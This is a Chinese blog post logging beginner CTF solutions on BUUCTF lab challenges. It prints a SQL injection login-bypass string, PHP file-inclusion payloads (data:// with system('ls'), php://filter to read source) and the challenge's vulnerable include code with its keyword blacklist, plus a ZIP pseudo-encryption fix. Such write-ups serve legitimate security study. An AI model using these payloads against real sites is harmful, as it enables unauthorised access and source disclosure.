文章 分类 评论
147 1 60

站点介绍

此处是站点介绍

CTF 练习 22.1.20

dayi 2022-01-20 1091 1条评论 默认分类

首页 / 正文

22.1.20

状态还不错

0x01 buu web [极客大挑战 2019]EasySQL

  1. 并没有什么思路。
  2. 据说这是php的万能密码。

    ' or '1'='1
  3. 这样就可以登录进来了。

    check.php?username=admin' or '1'='1&password=admin' or '1'='1
    
    flag:
    flag{5778bde8-c891-451d-84c5-e6bdf9505c9c} 

0x02 buu web [极客大挑战 2019]Havefun

  1. 看到一只超可爱的猫猫。
  2. 好像是纯css的猫诶!
  3. 源代码审计一下就会看到这个可以改一下猫。
  4. ?cat=dog
  5. 得到flagflag{21479d1c-b88d-4d64-96fa-1193c36f234d}

0x03 buu web [ACTF2020 新生赛]Include

  1. 源代码中有个tips.指向flag
  2. 尝试?file=data://text/plain,<?php system("ls")?>

    结果显示hacker!

  3. 把url转义了一下好像也不行。
  4. 没有思路了。
  5. 提到了PHP伪协议这个东东。
  6. php://filter/read=convert.base64-encode/resource=XXX.php可以对文件进行base64编码输出诶。
  7. 拿到flag之前,不如先把index看一看

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
        exit('hacker!');
    }
    if($file){
        include($file);
    }else{
        echo '<a href="?file=flag.php">tips</a>';
    }
    ?>
    
  8. 访问index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

    <?php
    echo "Can you find out the flag?";
    //flag{c7746c71-9de7-4048-aead-987bfa89f4be}
    

0x04 buu misc zip伪加密

  1. 先引入长篇大论
长篇大论

压缩源文件数据区

50 4B 03 04:这是头文件标记(0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

00 00:扩展记录长度

压缩源文件目录区

50 4B 01 02:目录中文件文件头标记(0x02014b50)

3F 00:压缩使用的 pkware 版本

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

24 00:扩展字段长度

00 00:文件注释长度

00 00:磁盘开始号

00 00:内部文件属性

20 00 00 00:外部文件属性

00 00 00 00:局部头部偏移量

压缩源文件目录结束标志

50 4B 05 06:目录结束标记

00 00:当前磁盘编号

00 00:目录区开始磁盘编号

01 00:本磁盘上纪录总数

01 00:目录区中纪录总数

59 00 00 00:目录区尺寸大小

3E 00 00 00:目录区对第一张磁盘的偏移量

00 00:ZIP 文件注释长度

  1. 试一试能不能这样

    09 00 ->00 00

    好像不行

  2. 要改压缩文件的源文件区域!
  3. 得到flag{Adm1N-B2G-kU-SZIP}

吼鸡

010editor好好用,有钱了买一个

评论(1)

  1. xuykooqmay 游客 2025-03-01 03:52 回复

    ?励志类评语?

热门文章

最新评论

  • 阳光灿烂

    我问小狗遇到心事怎么办, 小狗说忘忘忘。

  • 阳光灿烂

    研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后,才发这现里的字全是都乱的。

  • qrpxbutnkw

    这篇文章不错!

  • riekozuuqu

    这篇文章不错!

  • kijvmoxsgz

    作者的情感表达细腻入微,让人在阅读中找到了心灵的慰藉。

  • mruinannnb

    作者以简洁明了的语言,传达了深刻的思想和情感。

  • ixoqqxzijt

    在现有基础上可尝试多媒介形式呈现。

  • lvuqvjoznv

    文化底蕴深厚,引经据典信手拈来。

  • moczqjpzpu

    若能补充常见问题解答,会更具实用性。

  • sdxzopdbyg

    配图与文字相辅相成,直观易懂。

日历

2025年10月

   1234
567891011
12131415161718
19202122232425
262728293031 

友情链接

文章目录

推荐关键字: ctf docker linux 密码学 BUU BUU ctf XCTF 作业